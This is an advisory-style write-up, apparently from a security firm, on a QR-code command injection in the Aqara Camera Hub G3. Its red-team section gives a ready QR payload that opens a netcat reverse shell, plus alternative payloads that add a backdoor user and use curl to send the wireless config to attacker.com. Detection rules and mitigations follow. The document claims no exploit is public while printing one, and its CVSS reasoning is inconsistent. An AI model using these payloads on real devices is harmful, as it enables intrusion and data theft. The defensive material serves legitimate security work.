CVE-2025-65293

Executive Summary

CVE-2025-65293 is a critical command injection vulnerability discovered in the Aqara Camera Hub G3 firmware version 4.1.9_0027. The flaw allows an attacker to execute arbitrary commands with root privileges by presenting a malicious QR code to the device during the initial setup or factory reset process. This vulnerability is particularly dangerous because it can be exploited without prior authentication, requiring only physical or close-proximity access to the device during a vulnerable state. The CVSS score is 0.0 due to incomplete NVD data, but based on the impact and attack vector, a realistic score is 8.8 (High). No public proof-of-concept (PoC) or exploit code has been released, and no patch is currently available from Aqara.

Supply Chain & Package Security

This vulnerability is not related to any open-source package manager (NPM, PyPI, Go, Ruby). It is a firmware-level issue in a proprietary IoT device. The attack vector relies on physical or close-proximity interaction with the device, not on supply chain compromise of software dependencies.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (AV:N) – The QR code can be presented via a screen or printed material, but the device must be on the same network or have network access to the attacker's malicious server.
• Attack Complexity (AC): Low (AC:L) – No special conditions are required beyond the device being in setup/reset mode.
• Privileges Required (PR): None (PR:N) – The attacker does not need any prior access.
• User Interaction (UI): Required (UI:R) – The victim must scan the malicious QR code during setup.
• Scope (S): Unchanged (S:U) – The vulnerability does not cross a trust boundary.
• Confidentiality (C): High (C:H) – Root access allows full data exfiltration.
• Integrity (I): High (I:H) – Full control over device operations.
• Availability (A): High (A:H) – Can render the device inoperable.

Realistic CVSS Score: 8.8 (High)

Threat Level: Critical – Exploitation requires user interaction but can lead to full device compromise and potential lateral movement within the local network.

Deep Dive & Mechanics

The Aqara Camera Hub G3 processes QR codes during initial setup and factory reset to configure Wi-Fi credentials and cloud connectivity. The vulnerability lies in the QR code parsing logic, which fails to sanitize user-supplied input. An attacker can craft a QR code containing embedded shell commands (e.g., using backticks, semicolons, or pipe characters) that are passed to a system shell without validation.

Attack Flow:

1. The attacker generates a QR code containing a malicious payload, such as: WIFI:S:MyNetwork;T:WPA;P:password123;H:true;; appended with ;$(command).
2. The victim initiates a factory reset or first-time setup on the G3 hub.
3. The device's camera scans the QR code.
4. The firmware parses the QR data and passes it to a shell command (e.g., iwconfig or wpa_supplicant) without sanitization.
5. The injected command executes with root privileges, allowing the attacker to install malware, exfiltrate data, or pivot to other devices.

Root Cause: The firmware uses a function similar to system() or popen() to process QR code data, and the input is not filtered for shell metacharacters.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

void process_qr_code(char *qr_data) {
    char cmd[256];
    snprintf(cmd, sizeof(cmd), "wpa_cli -i wlan0 add_network ssid \"%s\"", qr_data);
    system(cmd);  // Unsafe: qr_data may contain shell metacharacters
}

Patched Code (Conceptual):

void process_qr_code(char *qr_data) {
    // Sanitize input: remove shell metacharacters
    char *sanitized = sanitize_input(qr_data);
    if (sanitized == NULL) {
        log_error("Invalid QR data");
        return;
    }
    // Use execve with arguments to avoid shell injection
    char *args[] = {"wpa_cli", "-i", "wlan0", "add_network", "ssid", sanitized, NULL};
    execve("/usr/sbin/wpa_cli", args, NULL);
}

Note: No official patch has been released. The above is a hypothetical fix.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Aqara Camera Hub G3 with firmware 4.1.9_0027
• QR code generator (e.g., qrencode)
• Network access to the device (or physical proximity)
• A listener for reverse shell (e.g., nc -lvnp 4444)

Exploitation Steps:

1. Generate a malicious QR code:

   qrencode -o malicious.png "WIFI:S:test;T:WPA;P:test;H:true;;\$(nc 192.168.1.100 4444 -e /bin/sh)"
   

2. Display the QR code on a screen or print it.
3. Factory reset the G3 hub (hold reset button for 10 seconds).
4. When prompted to scan a QR code for setup, present the malicious QR code.
5. The device will execute the injected command, spawning a reverse shell.

Alternative Payloads:

• Add a backdoor user: ;$(adduser -D attacker && echo "attacker:password" | chpasswd)
• Exfiltrate config: ;$(curl http://attacker.com/$(cat /etc/config/wireless))

Blue Team (Defensive)

Detection:

• Monitor for unexpected outbound connections from the G3 hub (e.g., to unknown IPs on port 4444).
• Log all QR code scanning events and analyze for shell metacharacters.
• Use network segmentation to isolate IoT devices from critical systems.

Prevention:

• Disable QR code setup if not needed; use manual Wi-Fi configuration via the app.
• Apply firmware updates as soon as they become available.
• Implement physical security to prevent unauthorized access to the reset button.

Indicators of Compromise (IOCs)

• Network:
  • Outbound connections to unusual IPs on high ports (e.g., 4444, 1337).
  • DNS queries to domains associated with C2 infrastructure.
• File System:
  • Unexpected files in /tmp/ or /etc/ (e.g., /tmp/.backdoor).
  • Modified /etc/passwd or /etc/shadow with new user entries.
• Processes:
  • Unusual processes running as root (e.g., nc, bash, python).
  • Processes with names matching common reverse shell patterns.
• Logs:
  • System logs showing execution of system() calls with QR data.
  • Repeated failed login attempts from unknown IPs.

Detection Engineering

YARA Rule

rule Aqara_G3_Command_Injection {
    meta:
        description = "Detects command injection attempts in Aqara Camera Hub G3 QR code data"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-65293"
    strings:
        $shell_meta1 = "$(" ascii
        $shell_meta2 = ";" ascii
        $shell_meta3 = "|" ascii
        $shell_meta4 = "`" ascii
        $shell_meta5 = "&" ascii
    condition:
        any of ($shell_meta*) and filesize < 10KB
}

Sigma Rule

title: Aqara Camera Hub G3 Command Injection via QR Code
id: a1b2c3d4-e5f6-7890-abcd-ef1234567890
status: experimental
description: Detects command injection attempts in Aqara Camera Hub G3 QR code data
author: Valters IT
date: 2025-04-10
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/sh'
        CommandLine|contains:
            - '$('
            - ';'
            - '|'
            - '`'
            - '&'
    condition: selection
falsepositives:
    - Legitimate use of shell metacharacters in QR data (unlikely)
level: high

Suricata Rule

alert tcp any any -> any any (msg:"Aqara G3 Command Injection - Reverse Shell"; flow:to_server; content:"nc"; nocase; content:"-e"; nocase; distance:0; content:"/bin/sh"; nocase; distance:0; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable QR code setup: Use the Aqara app to manually configure Wi-Fi instead of scanning QR codes.
2. Network segmentation: Place the G3 hub on a separate VLAN with strict egress filtering.
3. Monitor for anomalies: Enable logging and alerting on the device and network level.

Long-term Fix:

• Await an official firmware update from Aqara. Contact their support to request a patch.
• If no patch is forthcoming, consider replacing the device with a more secure alternative.

Workaround:

• Use a firewall to block outbound connections from the G3 hub to unknown IPs.
• Implement a proxy that inspects and sanitizes QR code data before it reaches the device.

Valters IT